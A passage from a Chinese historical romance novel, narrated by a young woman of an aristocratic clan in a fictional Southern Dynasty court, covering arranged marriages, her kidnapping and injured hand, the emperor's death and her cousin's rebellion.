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为我的婚事,大伯还在四处奔走,明眼人大抵都嗅出了气味,琅邪王氏在南朝一家独大的局面终将成为历史。我依旧两耳不闻窗外事,每日都在泚园潜心习字。偶尔会想,王家人都变成了清官,抑或是像石宗山那样的富民,好好经营自己手里的产业,日子不也过得很惬意。有时,又会想到牧哥哥直言正色的样子:没有浊官,那些清官吃什么去?
小年那日,水冻如瘀,天实在冷得厉害,还没写上几行字,手就麻木了。我挨到炭盆边上取暖,见屋子里一盆水仙开得正好,一时兴起,就拿了笔杆子在书案上击节:“凌波生寒花,可怜不复久……”
“呸呸呸!”玲珑放下手里的针线,怒目看我,“小姐和谁学的样子?流里流气的。”
我朝她皮皮一笑,扯了扯裙裾,正襟危坐,继续写我的字……忽闻园子里急急匆匆跑来一个仆从,在棉布帘子外向我报事:“小姐,宫里来人传旨,老爷请您去来
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燕堂……”
我心里一沉,一笔飞白图成了墨点。玲珑起身应他:“知道了,小姐稍后就来。”
那人又道:“老爷说,请玲珑姑娘也去。”玲珑看我一眼,不知道特地喊她去又是为了什么。
我只是两眼空洞地与她对望,心里早就乱作一团,不再思想了。我以为自己已经有了十足的准备,无论有没有圣旨,都可以泰然处之,原来终究不能。
也不知道自己是怎么进的来燕堂,里里外外都挤满了人。我在一群人的簇拥下木然地跪到大伯身后,内官甩了一记拂尘,开始宣读圣旨。屋子里变得鸦雀无声,只有一个老朽尖细的声音,听起来羼杂不清。
我只是这样呆呆地跪着,在周围一片嘈杂的唏嘘声中,终于厘清了头绪。那内官刚才说得是:册封国子祭酒王珲之义女——玲珑——为太子良娣?
我惊愕地看向玲珑,她早就吓得傻了,在一群人的推搡下傀儡般地磕着头,每磕一下,就有眼泪像断线珍珠一样滚落下来。
琅邪王氏树大难撼,太子良娣,这就是晋室的妥协?
玲珑在王府的最后三天还是住在泚园,刘管家从我这拨了一大半丫头给她,她每日都像一个断线木偶一样,任由她们摆布着。我没有什么安慰的话可以说,如果这事发生在我身上,我一样没有办法说服自己。她再也没有见到牧哥哥的面,从来就只是她的一厢情愿。王府里还有许多庶出的女孩子,皇帝偏偏选中一个丫头,也许,太子是真的喜欢她。
玲珑出府那天,装扮的很隆重,像是一座用珠宝锦段堆砌出来的小山。女孩子们手忙脚乱,还在不停地锦上添花,我真担心堆得太满,要崩塌下来。
她走的时候拉着我的手说:“小姐,玲珑去了,您自个要好好保重。”她是笑着对我说的,脸颊上傅着厚重的胭脂,如两瓣劲雨催落的海棠,经不起一阵风吹。她是极爱脸红的,不管是生气还是高兴的时候,都会有天然去雕饰的芙蓉面孔,决计不是这样浮夸的颜色,一点儿也不熨贴。我也笑着应承她,不敢去深究这层脂粉背后的意义。
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玲珑走后,刘管家又调拨了一个近身的丫头给我,是他妻兄的女儿,名唤彩衣,相貌可人。
过了上元节,我就渐渐恢复了往日的作息,好像只要手中有笔,心里就再也存不下别的事了。丫头们比我更热衷于打听玲珑的下落,她们总是在园子里叽叽喳喳地讨论,我伸着耳朵听了几句,也知道太子对她是好的。
砚台里的墨干了,我直觉想叫玲珑,抬头却见彩衣趴在窗台上和外面的女孩子说话。“彩衣,”我喊。她应了一声,露出十只包着凤仙花瓣的手指,小粽子一样,快乐地对我说:“小姐,什么事?……你看我们新调的颜色,等我试好了,你也染染看。”
我笑着摇摇头,在砚台里滴了水,慢慢研磨起来。
刘管家领她来的时候,替她说过不少好话。她的确是个聪明的女孩子,深知一个漂亮丫头在一个不起眼的小姐跟前当差的好处。后来,刘管家照例来询问过几次,我也都说挺好的。我是个后知后觉的人,对生活琐事的要求也少,玲珑在的时候,我不知道她的周到,现在留下彩衣,倒是可以慢慢体会。
12. 第十一章 零落碾作尘
年节前后,坏消息接踵而来,二伯王琨在荆州突然病倒,此次只派了一个副官回京述职。从牧哥哥近日的神情来看,恐是病得不轻。但王府对外说,近来天气湿冷,大将军只是旧伤发作,暂时行动不便,并无紧要。越是这样的时候,越是不能让皇上找到机会,再叫二伯致仕回家。
转眼已入二月,谢家的老梅零落成泥。大伯一直催促着舅舅先把牧哥哥和絮姐姐的婚事办了,但舅舅始终以“王大将军怎可缺席”为由推脱着,婚礼最终也没能如期举行。龙头节一过,牧哥哥就要起身赶往荆州,婚事也就变得更加遥遥无期。
大伯大约已经在做最坏的打算了,二伯的东安侯爵位世袭罔替,牧哥哥为嫡长子,要继爵位并非难事,但那只是个虚衔,关键还在荆扬刺史并大将军的官位,和那支紧攥在二伯手里的荆州兵。晋室想要削弱王家的势力,废后罢相皆不足惧,那支当年拥立新皇的军队才是王家能与司马氏共治天下的真正家底。所以这次,大伯无论如何也要把牧哥哥扶上将位。
二月春风似剪刀,桃叶渡口,杨柳夹道,已垂绿丝绦。只可惜桃花未开,每年三月,沿岸十里都有碧桃怒放,此种桃花非同一般,它色绛如胭脂,重瓣如牡丹,放眼望去,漫天遍地,红花胜火,绿水如蓝,那才是一年中最美的光景。清晨的桃叶渡,薄雾未散,酒家未醒,难得有这样的清净。牧哥哥伫立船头,还是一身贯穿的白衫,行囊一挑,扁舟一叶,在这料峭春寒、素色江南中显得异常冷俊。
絮姐姐也在送行的队伍里,可惜人多,也说不上什么话。她折了才抽新芽的柳条交在牧哥哥手里,柔声道了句:“牧之,一路当心,你远去荆州,也勿忘建康风景。”那一腔别绪皆在这盈盈一语,脉脉秋水间了。
牧哥哥接过柳条,重重道:“建康有老梅如雪,绿柳如丝,牧之绝不敢忘。”
今日往矣,杨柳依依。牧哥哥不敢忘的,可是那日梅下之约,而如丝两字叠起来,恰是一个“絮”字。我在一旁会得此话深意,也不禁多了些许怅然。
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牧哥哥走后,王府里清冷了许多。原还有个活络的六叔,送行那天睡过了头,一觉睡到晌午,又挨了一顿好骂。本来也不是什么大不了的事,没想大伯越骂越气,险些把家法也抬出来。六叔近来乖觉的很,大伯带头低调处事,自然也就没人敢再张扬了。石宗山还是三天两头来府里叫阵,六叔高挂免战牌,气得关上门砸家什,也不肯出去见他。就连年年上巳节在吉光雅园里大操大办的曲水流觞诗会也停了下来,常常就只有顾先生陪他一起喝酒聊天。我倒是觉得这样的日子很不错,六叔呆在家里没事可做,我也就能天天上雅园临贴了。
我的字近来精进不少,顾先生夸赞起来是从不吝啬的,有时说得过了,倒让我觉得有些无地自容。六叔是很少出言品评的,只是烧纸的时候不像从前,随手就丢进火盆里了。现在他都会细细鉴赏一番,还有几纸,他没舍得烧,都妥善收藏了起来。每每此时,我都会在心里小小的得意一番。
除了去晴雨轩看看新货,我很少外出。再次出门时,芳歇春去,桃叶渡口红英落尽青果小,已不复三月里夭桃灼灼的胜景了。店家见我进门,殷勤招呼,将我引至二楼的雅间,端茶斟水,又神秘兮兮地拿了几幅作了旧的字请我看:“王小姐,这些都是卫夫人的墨宝,您和六爷是小店常客,您若喜欢,我可以算您便宜一些。”
我随手翻了几张,前两年写的字,果然火候不够。这老板也算是个行家,怎会看不出这些都是赝品?我莞尔摇头:“这些字您还是请我六叔来看吧,我只是来买些左伯纸,上次那批货倒是很好的。”
又随意挑了些笔墨,让店家送去府里结钱。才出晴雨轩,忽降一阵大雨,劈头盖脸地落下来,我赶忙钻进肩舆里,摇摇晃晃地赶回王府。青兕所题的扇子是随身要紧的东西,我解下腰间的扇袋,小心拂去上面的水珠子,好在里面没有沾到水。这柄扇子我爱不释手,若真是字如其人的话,青兕先生必真英雄也!我越看越痴,不觉肩舆已经抬进王府。
轿帘被人挑开,露出顾先生一张脸,不记得他什么时候蓄了一嘴的胡子,看上去老了许多。“狸奴,还不下来?看你一副魂不守舍的样子,去见心上人啦?”
“胡说!”我嗔骂一句,将扇子收好,提着裙子往泚园跑。先生还不肯放过我,跟在后头直喊:“见就见了,我活了几十年,你这点小女儿心思还瞧不出来吗?是哪家的公子啊?……你跑慢点,小心摔跤!”我头也不回,紧跑了几步把他甩在身后。
骤雨初歇,云开风清。泚园里榴花半吐红巾蹙,池水如簟,荷叶微卷,又该到吃莲糕的季节了吧。彩衣和一群女孩子在廊下说笑,见我回来,丫头们便作鸟兽散了。彩衣笑盈盈趋步而来:“小姐回来啦?刚太子宫派人送东西来了呢,我放在屋里了。”
案上一个红黑漆食盒,开盖便有荷叶清香,小饼圆白,每块上面都印有千瓣莲花的图样,连模子都是和以前一样的呢。我拿了一块,招呼彩衣也来尝尝,剩下的就喊人送到弈秋园里去了,玲珑做的莲糕,母亲也很爱吃。
彩衣咬了一口,连声赞道:“好吃!好吃!太子良娣手艺真好,怪不得太子喜欢呢。可惜……”我抬头看她,她吞咽完嘴里的糕,又道:“唉,只可惜出身总归是低了,太子再喜欢她,也做不了正主。皇上……”彩衣掩嘴咳了一声,我知道她这声咳的意思,她接着道:“听说太子就要娶正妃了,小姐可知道是谁?”
皇上病入膏肓,早就不问朝事了,皇后娘娘衣不解带地侍奉左右,连寝宫门也不出半步。太子实际已经大权在握,相比王府前的门庭冷落,庾宅近来可是车马不绝。“太子妃多半出自颍川庾氏吧?”我看向彩衣,皇室后宫、高门后院里的小道消息,我倒真不如这些丫头们知道的多。
彩衣故作神秘地摇摇头:“小姐有所不知,是谢家絮小姐!”
我不敢置信:“你哪里听来的,絮姐姐和我牧哥哥是有婚约的!”
“婚约又怎样?谢老爷乐得嫁,也不见我家老爷上疏反对啊。”彩衣见我摇头,又补了一句:“小姐不信就算了,再过几天圣旨一下,小姐就知道彩衣说的是真是假了!”
我摇头倒不是因为不信,王谢两家几世联姻,其间关系盘根错节、休戚相关,一家若有难,必得另一家倾力相助。太子想要削弱王家的势力,与其与两家为敌,不如拉拢一家,才是上策。而陈留谢氏,虽然一直以来都是“王谢”并立,但终究是“王”在“谢”前,如果日后南朝能由“谢”家独大,舅舅也是不会放过这样的机会的吧?
“牧哥哥知道吗?”我小声叹了一句。
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彩衣转了转眼睛:“这事瞒得了谁?就算现在不知道,过几天也知道了。就不知牧少爷知道了会……别看絮小姐平日里和善的很,原来也是个性子烈的,不过……女人的命,哪由得自己做主?”她也跟着叹了一声,自顾做事去了。
我细细掳着裙摆上的皱褶,嘴里的莲糕甜意未尽,心头却像吃了莲芯,涩涩发苦。我猛地摇了摇头,起身往吉光雅园去了……
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皇帝之疾恐不可为,太子的婚事也不能再拖延了,只等鬼月一过,就要大婚。宫里宫外都忙着筹措,举国同庆,牧哥哥也该知道消息了吧。隔三差五就有从荆州来的书信,二伯的病,恐怕也支撑不了多久了。牧哥哥坐镇荆州,代行大将军之职,纪律严格,赏罚分明,在军中也渐渐有了威望。未经皇帝下诏就子承父业的事,朝廷里也不是没有这样的先例,尤其乱世里,最后都是由皇帝补一道诏书了事。只是,对于册封絮姐姐为太子妃的事,谁都没有在书信里提起。
转眼又到中元,二伯最终没能熬过鬼月。来燕堂里设了灵堂,两旁挂了太子亲提的挽联。棺椁还在运送的途中,王府上下一片惨白,嚎哭声不断。我一身素缟麻衣,跪在父母跟前。今早阿代嬷嬷为我绾了头发,母亲在我的髻子上攒了一柄翠玉的簪子,这簪子她为我准备了许多年,是一枝玻璃地油青的平安竹,如今不得不用白绢严严实实地缠裹起来。我郑重地给父母磕了头,吃罢一碗汤饼,一场不合时宜的十五岁笄礼就在弈秋园的花厅里草草的结束了。回去的路上,我暗自和彩衣比了比身长,她和我差不多年纪,却比我高出许多。甚至,我都十五岁了,还没有月事。
二伯撒手人寰,王家的重担几乎落在大伯一个人的肩上,他汲汲皇皇地四处奔走,不能有片刻自安,好像只在一夕之间,两鬓就斑驳了。
出人意料的是,册封牧哥哥为荆扬刺史兼大将军的诏书,倒是适时地颁布下来了。有人说,那是以王家愿意退婚为条件的。但我揣测,那支军队名为荆州军,实则早就变成了王家军,他们在远离京城的地方安家落户,从来只知有王将军,不知有司马氏。若不是王琨的儿子继位,又有谁会买他的账呢?那道诏书不过是个顺水人情罢了,就像西北凉州节度使,东鲜卑慕容部,他们只是不敢明目张胆的自立,虽然都向南朝称了臣,可又有哪个是真正在听朝廷号令的。
为了这门婚事,絮姐姐又是绝食又是上吊又是逃家,闹得满城风雨。可从头至尾,就只有她一个人在做挣扎,因为孤立无援,她的行为在大多数人眼里显得无谓而滑稽。仲秋未到,她就被一顶凤舆接进了太子东宫。
大婚三日,喧哗落尽,建康城又恢复了往常的平静。不知道从什么时候起,人们变得如此麻木,快乐和悲伤,来得快,去得也快。
今年的王府不再举行拜月宴,十五那日,我就在吉光雅园里临贴。笔一提就浑然忘事了,不觉皓皓秋月西去,一纸《禊贴》写罢,抬头见六叔负手对着墙上的元烈画像发呆,顾先生歪倒在玉树下,一坛菊花酒,自斟自酌,已然醉醺。东方渐白,院子里更漏尤滴,仿佛昭阳殿中传来的捣衣声声。我搁下笔,掩嘴打了个呵欠。夜,如此静逸,让人恍惚觉得一切从来就是这样,什么事都不曾发生过。
13. 第十二章 福兮祸所伏
六叔回身看我,地上的纸已经摞了厚厚一沓,案上是我临摹的《禊贴》,写了一夜,这篇最为得意。六叔拿起来看了看,还是默不出声,只是眉头慢慢纠结,眼中精光毕现。我原还是笑着的,见他这副神情,倒隐隐生出不安来。
顾先生也醒了,抱着酒坛子跌跌撞撞进屋,看见六叔手里的字,一下子就立稳当了。“狸奴,这是你写的?”先生一脸肃然,我点点头,好奇他这回又能想出什么新鲜的词儿来夸赞我。可他不置一言,只是盯着那幅字不停地抽气。
“狸奴……”六叔喊我,嗫嚅着唇想要说些什么,可是最终也没有说出口,只将那张纸妥善收了起来。我暗自得意,所临之《禊贴》,还是头一遭免于一炬呢。
因那幅字的关系,我一连高兴了几日,雅园也跑得更加勤快了。六叔这阵子有求必应,随我在禊堂里进出。他还告诉我,最近市面上出了一种新纸,产自龙亭,韧而能润,只可惜龙亭隶属北朝,这纸在南朝价高难得。但他已经让晴雨轩进货了,改天就能去拿。我本来也没上心,倒是石宗山送来一些,我提笔试了几字,果然是极好的纸,才将这件事记下。
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中秋过后即重阳,半夜凉初透,一床薄被难耐五更寒,夜里常常被冻醒。世事无常,冬日愈近,我便愈加难安,生怕哪天莫名病倒,一觉醒来又是物是人非。
想起那些新纸,一连派人去问过几次,直到昨天,店里才来人说货到齐全了。本来想喊上彩衣一道去的,可泚园里遍寻不着她。快近晌午了,我担心起来,一大清早到现在都不见人影,又没和谁告过假,万一出了事……于是,又喊了几个丫头出园子去找。
深秋天气,昼暖夜凉,最容易染病。正午骄阳似火,我没走几步便出了一身薄汗,脸涨得绯红,女孩子们七嘴八舌往回赶我:“小姐您先回去吧,我们去找。这一冷一热的,您再闹出病来,我们可担待不起……”我也着实累了,只好先躲进六角亭里歇一歇脚,看着她们三三两两各自分头散去。
才坐定,就听假山后有人私语,男的滔滔不绝,女的半推半就,好像有什么为难的事。究竟说了什么,我离得远,也听不真切,但那俩人的声音我是极熟悉的。我抿嘴苦笑,踏破铁鞋,原来在这里,女孩子大了,果真管不住!心想着哪天就和六叔去说,把她配给刘安算了,省得在我这里当值,老是心不在焉的。
本想过去叫她,但又一想,我自己也是个女孩子,这半间半界的处境,要说些什么才好?还是不要揭穿他们,给彼此都留点颜面吧。于是捶捶膝盖起身,独自一人踱回园子里去了。
没一会儿,彩衣就提着裙子蹑手蹑脚地回来了。“彩衣”,我隔着竹帘子喊她,她一愣,故作镇静小步趋来,“小姐,找我有事?”
“刘安……”我故意拖长了音,见她神色慌张,才道:“是你亲戚吧?”
“嗯,他是刘管家的小儿子,刘管家是我姑夫。”彩衣转着眼睛一直往帘子里瞟,大概好奇我怎会有此一问。
“那倒是亲上加亲,你也不小了,我和六叔去说,把你配给他可好?”
“不要!小姐……奴婢要有什么做得不对的,小姐骂我就是,我一定改……小姐可别赶我……奴婢可不要嫁他!”彩衣闻言,舌头都打结了,但那句“不要”倒是决绝的很,不像是故作骄矜。我又一想,彩衣模样生得好,眼界自然也高些,每回说到玲珑,她总是掩不住一脸艳羡。也许,是刘安的一厢情愿吧。
我抿抿嘴:“不要就不要吧,我也不会逼你……我要去晴雨轩,你陪我一道吧。”彩衣还是一脸不情愿,半张着嘴,像是有话说。“又怎么了?”我问。
她绕过帘子,凑到我跟前,眉眼弯得像新月,扯着我的裙摆撒娇道:“小姐,明天再去吧,明儿桃叶渡口有杂耍,听说是西域来的,可稀奇了……”
“哪里有好吃好玩的,都少不了你!”我笑着嗔怪一句,忽然想起玲珑也常常这样亲昵地和我说话,想起她和我结伴出游时快活的样子,她也喜欢市井里的热闹,只是碍于我习惯清静,才总是陪着我呆在这方窄窄的天地里。如今,更是庭院深深、重垣叠嶂了吧……
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清早闻扣门,明星晨未晞。彩衣今天倒是特别勤快,一大清早就起床了,端着热水侯在门外等我起床梳洗。也许是昨天根本就没有睡好,眼底暗沉,像是两片浓密羽睫投下的青影。我心里发笑,不就是看个杂耍吗,用得着兴奋成这样。
用罢早膳,时辰还早,我随意练了几个字。她还是一声不吭,乖巧地侯在一旁,许是要出去玩了,许是昨天说要把她许给刘安,吓到她了,今天一反常态,好像整个变了个人。不过安静下来的时候,确有几分楚楚动人。漂亮的姑娘总是让人心生怜惜,其实,她也只是比别的女孩子好玩一些,想法多一些罢了,也许是我平素里的要求太过严苛……我又看她一眼,心头一软,搁笔看了看天,道:“彩衣,我们走吧,去占个好位子吧。”
备轿出王府,一路向北,桃叶渡口果然很多人,今天虽然不是赶集日,但小贩们趁着西域的杂耍团来表演,都赶着出来做生意,渡口边熙来攘往,像是又回到了年节。肩舆在拥挤的人群里摇摆不定,变得笨拙碍事,我只好喊轿夫停在街角等我,拉着彩衣一道顺人流步行而去。
几个高鼻深眼的西域人还在空地上搭台,看样子一时半会好不了,晴雨轩就在附近,趁着表演还没开始,不如先去看看新纸。
我平常来晴雨轩,很少带着彩衣,偶尔带她来一次,她也坐立不住。笔墨纸砚她没有兴趣,好在隔壁还有一间胭脂铺,可以供她打发一点时间。不过今天她倒是安静的很,一个人倚在门柱上,直盯着戏台子的方向瞧。看她目不转睛的样子,又好像是有心事。
店家拿出新纸供我试用,我沾墨写了几笔。在外头写字我多用右手,店家随意扫了一眼,满脸堆笑,赞道:“王小姐的字果然不同凡响,小姐对书法这么有兴趣,小店里倒有不少名人墨宝,要不要买几幅回去临临看,保管事半功倍。”说着捧了一摞字画出来,摊在我面前。
我笑着看了几幅,随意问了问价钱,心说,原来我的字那么值钱,哪日我若落魄了,倒是不愁生计。店家见我也没有要买的意思,陪着笑脸,又拿了一些出来。这家店大约是看人做生意的,赝品还真是不少,如果六叔来买,他大概就不敢了。我本想多逛一会儿的,也被这人弄得没了意思,只要了些新纸,喊他送去府里,就离开了。
彩衣蹲在门口,魂不守舍地看着戏台子,我喊她走,她也没有听见,我又喊了一声,她才回神,讷讷说道:“小姐好了?今天怎么这么快?”
“不是要看杂耍吗?我们去占个好位置啊。一会儿人多了,我可挤不进去。”
我们去的早,站在第一排,又等了好一会儿,台上终于开锣。西域话我听不懂,但那些伶人真有本事,手舞足蹈的,意思也能猜出大半。他们的表演极有趣,都是我不曾见过的,引得台下阵阵喝彩和哄笑。我看得入迷,不觉人潮汹涌,快要把我淹没了。
之后又上来几个衣不蔽体的女孩子,热情地挥舞着手臂,扭动着腰肢,环佩叮当,发出阵阵有节奏的声响。我看得不好
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意思,后头的人还在怪叫声中不停地往前推搡。我已经被逼到了台角下,直到被挤得喘不过气来,转身去找彩衣,才发现我们已经被人潮冲散了。身后黑压压的一片,看着都让人窒息,我顿时兴致全无,抻着脖子寻找彩衣。
可我委实矮小,力气也不大,别说找人,就是自己走出去都很困难。我勉强背过身,逆着人群试图往外挤,才走了几步,身后突然伸出一只粗壮的手臂。蓝色的棉布衣袖,粗大的关节,指甲里满是污垢,手里捏着一块脏兮兮的帕子,那帕子蒙上我的口鼻,一阵异味扑面而来。才想屏息,已经来不及了,只觉头顶酥麻,眼皮一沉,便昏厥过去……
我仿佛做了一个梦:四周黑漆漆的,好像是密密麻麻上下攒动的人头,又好像是天地之初,一片浑沌。耳边是嘈杂的响声,此起彼伏,又像是佩在疯狂的西域舞者身上的铜铃。我只觉得过了很久很久,才有一道冲破夜空的光华劈开了令人压抑的黑暗,或许那就是传说中盘古的大斧,能使清气上升化为乾,浊气下降化为坤,天地间有了光,一切才慢慢澄清。我为那道光欣喜不已,轻盈的仿佛就要生出逃脱的翅膀,可伴随而来的,却是一阵撕心裂肺的疼痛。我还以为那是破茧而出时必然要付出的代价。
因为疼痛,我渐渐有了知觉,我感觉到沉重的眼皮、脖子、身体、手臂、脚趾……我斜躺在一个角落里,四肢随意的散落着,似乎完整无缺,身上也没有枷锁。我极力搜寻疼痛的所在,但那也许只是我的错觉,因为我的头实在昏得厉害。
“这就是大名鼎鼎南谢的女儿,怎么是这么干瘪的小人儿?还用得着我们兄弟两个出手……”一个男人的声音,凶神恶煞,好像还踢了我一脚,但我却没有感觉到疼痛,因为身上一定还有某一处更为疼痛的所在。
“你小心点,别弄死她,弄死了不好换钱。”是另一个男人的声音,粗鲁,不耐。
被绑架了吗?!我慢慢清醒,恐惧让我不敢睁眼,深怕会受到更为严酷的对待。谁来救我?彩衣发现我走丢了吗?她总是那样心不在焉……他们是去要钱了吧,王府不缺钱,应该会有人来赎我……我惴惴地想着,一个急躁的男人在我身边不停地踱步,每一步都踩在我的心跳上。
随着神智越来越清明,疼痛也变得剧烈起来,是手,手断了吗?我试着动了一下手指,但是感觉不到。我闭着眼睛不能去看,可一旦意识到哪里出了问题,疼痛就愈加明晰起来。我强忍着恐惧和泪水,恨不得再次昏厥过去。
黑暗里,时间、疼痛和绝望被无限地放大着,我一直忍,一直忍,直到快要崩溃。我不是一场普通的小风寒就能被击倒的娇滴滴的小姐吗,这么疼,为什么还没有昏死过去,为什么还能忍这么久,我到底还要忍多久?
时间凝固了一般……突然,是一阵木头迸裂的声音,我直觉来了救兵,睁眼去看,可破门而入的光太过耀目,只能看见逆着光站着一黑一白。我心头一凉,这两个无常,难道是来拘我魂魄的?
还没等我反映过来,四个人就缠斗在一起。先前的两个人手里有刀,似乎占些便宜,打了几下,其中一个朝另一个喊:“快跑,别惹事!”两人虚晃一刀,便破窗而出了。
黑肤人想要去追,白肤人喊道:“别追了,王小姐要紧。”
我眯着眼睛,看见那人款款向我走来,背着光,我不能看清他的脸,只有一个金色的轮廓勾勒出一副天神般完美的身躯。那身姿我是极为熟悉的,不必看清他的脸,我也知道他会有怎样精致的唇鼻,因为六叔每天都会在禊堂里对着他的画像。
“元烈……”我被他轻轻抱起,想说,你的眼睛怎么还没有好?可他的手臂如此有力,气息如此亲切,他的心跳让我感到安全而适意,我浑身松懈,头一歪,便晕厥过去了……
14. 第十三章 风雨多事秋
再次醒来,第一眼便是母亲纤纤的侧影,她削弱的肩头轻轻起伏着,抽泣声断断续续,如同一枝带露的梨花,在凄风冷雨中不住地颤抖。阿代嬷嬷不停地抚拍着她的背,喃喃地劝慰着。
“醒了,醒了……小姐醒了!”彩衣面如土色,见我醒来,眼神才稍显明亮。“小姐,你觉得……手……”她转了转眼睛,支支吾吾地问我。
对,是手。我勉强抬起胳臂查看,手腕处夹了两片木板,已经被白布密密匝匝地包裹了起来。“断了?”我问。
母亲小心地捧住我的伤处,平放在床榻上:“狸奴,大夫来看过了,断了……骨头,他说……好好将养,还是会好的。”她故作镇定地说着,眼泪却在簌簌地往下落。
我闭起眼睛点了点头,大概已经猜想到了结果,泪水顺着眼角流到枕头上,像是决了堤的河,止也止不住。
之后,我连发了几天寒热,也不知道是因为秋冬之交,痼疾复发,还是因为伤动了筋骨。但头脑还算清楚,也并没有因此昏迷。床榻边不停有人来探望,彩衣也照顾得细致周到。
后来听人说,那天府里收到了勒索的书信,大伯闻讯急急匆匆向宫里告了假,大家正忙着凑钱赎人的时候,元烈就把我送回来了。
元烈说,那天他恰巧在晴雨轩对过的茶楼喝茶,看见我和彩衣一道进去又一道出来,后来,又见彩衣一个人慌慌张张地在大街上跑,就疑心出了事。和墨童下楼去寻的时候,发现有一柄折扇遗落在街角,正是他当日所赠。于是,就在那个小巷子里找到了我。
大伯说,此事一定会为我做主,他已经特地关照过衙门,务必擒拿真凶,严惩不贷。但据我所知,衙门近年来办案不利,最终能结案的甚少,大多数案子都不了了之了,故我也不敢抱太大的希望。
六叔和顾先生也来看我。我原以为六叔看见元烈回来会很高兴,可当他再次面对元烈时,却多了几分惶恐。
顾先生看着我的左腕,连声叹息,非要亲自画影图形,帮助官府捉拿凶犯。可是那两个人我也只是草草看过一眼,并没有记清楚。后来,还是元烈详细说给他听的。顾先生回去以后不眠不休地画了一整夜,第二天,两个嫌犯的画像就贴满了建康城的大街小巷。只可惜到了第二天夜里,那些画像就统统被人揭了去。
顾先生提笔再画,又是一夜无眠。原还以为那些画影图形是凶手半夜里揭下来的,第三天夜里派了一队官差埋伏在画像附近捉人,才发现原来是全城出动,若是去的晚了,还揭不到。只因顾怡名声太大,就连他画的凶犯像都有人在竞相收藏。
再后来,我又听到一些传言,似乎是为这次飞来横祸作了最合理的解释:七月十五,中元鬼节,这天出生婴孩都是鬼投胎,鬼胎不属于人间,多数活不过成年。却原来,不属于人间的不是我的命,而是我这只被人称作“鬼手”的左手。建兴十五年,我的及笈之年,老天爷终于收回了这本不该属于人间的东西。
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日月盈昃,四季轮替,生老病死,万事万物,任谁也无法逃脱自然之道。可是大江南北,每天都有人居庙堂之高,欣然接受着冥冥众生齐声“万岁”的山呼。殊不知,那只是天下人共同捏造的谎言,谎言说得再多,也不会变成现实。在我养伤的第七日,宫里传出了更为不幸的消息:皇帝薨逝,我的姑母皇后王氏饮鸩殉节。
万岁驾崩,是很多人早有预料的事情,但皇后的死,却成了众人心中依稀了悟,却又无法言明的谜团。
太子司马映顺利登基,尊庾妃为皇太后,太子妃谢氏册立为皇后,良娣玲珑入锦瑟宫,封为瑟妃。大伯王琰依旧位列三公,但任谁都清楚,煊赫一时的琅邪王氏,未来的道路已经变得前所未有的茫然……
梧桐叶落,寒蝉凄切,我从睡梦里被这恼人的声响吵醒,天还没有尽亮,空气低沉,感觉就要下雨了。彩衣蹲在我的床榻边,瞪着双眼看我的手,隔了很久,轻轻戳了戳我的手背。我的手指动了一下,她吓了一跳,抬头见我已经醒转过来,舔舔唇,小心翼翼地问道:“小姐,你的手感觉好点吗?能不能动?”
伤筋动骨一百天,掰掰手指头算算,不过二十日而已。我摇摇头,她歪了一下脑袋,也不知道我的意思是没好,还是不疼。大夫说,我的左腕大约是被重器所伤,也可能是捏碎或踩断的,总之骨头碎成了几瓣,又伤到了手筋,即便长好了,也是空有其表,以后,就怕连拳头都握不紧了。
我难掩落寞,扭头对着墙壁。忽闻园子里吵闹起来,这阵骚动好像是从外面传进来的,天还早,究竟发生了什么事?“你去看看”,我刚喊彩衣出门打听,母亲就和阿代嬷嬷进来了。她显然也是匆忙起床的,不见平日里的精致,但仓惶中也别有凌乱之美。
嬷嬷上前俐落地为我套上衣服,母亲忧心忡忡地看着我,不断嘱咐她多加衣物,小心我受凉。我的寒热一直未愈,头昏昏沉沉的,一时间也不知道出了什么事,但直觉是件大事。“什么事?要出门吗?”我问。
母亲一脸忐忑:“狸奴,国丧期间,阿牧在荆州……起兵造反了……”
“不可能!他为什么要造反?”我一下子清醒过来。牧哥哥不是最钦佩诸葛孔明吗?戮力皇室,克复神州,不是他素来的梦想吗?他怎么可能造反?
“也许……是因为你絮姐姐,我不知道……”母亲又抓过一件斗篷,把我裹紧,“现在你大伯要带着全家去宫里请罪,希望不要牵连到整个王氏家族……你……你别着凉了……”母亲的话哽咽在喉咙里。造反,这是要诛灭九族的罪啊,我会不会着凉,好像已经不再重要了。
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多事之秋!雨终于落了下来,越下越大。
皇宫大殿前的广场上,黑压压跪倒一片。为首的是大伯,袒露着上身,原来平日楚楚官服的底下,也只是这样一副行将枯朽的身体。荆条刺穿了他的皮肉,鲜红的血液混合着雨水流淌下来,在地上汇聚成蔷薇色的小溪。他领着王家的男子们跪在前面,后面跟着的是已经吓得不知所措的女眷和孩子们。禁卫军们全副武装地把我们围在中间,好像只等一声令下,就能大开杀戒。
母亲就跪在我身边,她不时地侧过头来看我,轻轻地喊着我的名字:“狸奴,狸奴……”,我还生着病,她深怕我体力不支,会在这样磅礴的大雨里昏死过去。
这样的鬼天气,穿得再多也没有用,雨水浸透了我的身体,衣服粘腻在身上,反而更冷。我只觉得身上背了一座小山,越来越重,越来越不堪负荷。我的一只手是不能着地的,虚虚地悬在半空,只能努力地用另一只手分担掉一部分身体的重量。我回过头,甩了甩受伤的左手,艰难地朝她笑笑:“娘亲,你看……狸奴这个样子……像不像绣球。”
母亲终于啜泣出声,但很快就咬着唇忍住了。雨水打在她绝美的脸上,我也分不清哪一片才是她的眼泪。
从清晨一直跪到傍晚,新皇始终拒绝召见我们。雨时大时小,却丝毫没有要停的意思,天又冷得厉害,大部分人出门前滴米未进,前头已经有好几个宗室里的老人倒地不起,先前还哭得声嘶力竭的女人和孩子现在也全都没了力气。我从来没有受过这样的罪,生着病,受着伤,又在大雨里浸泡了一天,只觉得身体都不是自己的了。对死亡的恐惧已经荡然无存,我渐渐佝偻成越来越小的一团,想让自己消失不见。坐牢也好,杀头也好,我只想这一切能够早点结束。
周围一直有人在咒骂牧哥哥,骂他忘恩负义,禽兽行径,为了一个女人,一己之私,牵连了全家。可
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那不是我所认识的牧哥哥,牧哥哥不会造反!我还是这样坚定的以为。眼前不断浮现出临仙酒楼里士族公子把酒论诗的一幕,那个一身正气,以戮力皇室为己任的风发少年,怎么可能拥兵造反?新皇那时还是太子,他也在场,他一直就认识牧哥哥,他一定知道他是怎样的为人!
他知道,他真的知道吗?那个在瓦官寺里顶撞顾先生的凉薄少年,那个在拜月宴上挑战南谢的倨傲少年,那个曾经在姑母眼皮底下为了求生而隐忍装病的少年,现在,他终于得以穿上血色的龙袍,站在势位的巅峰,掌握生杀予夺的权力了。他的眼底始终有一种有无法言喻的骄骜和无情,这就是他十年磨剑,一朝出鞘的快慰吗?
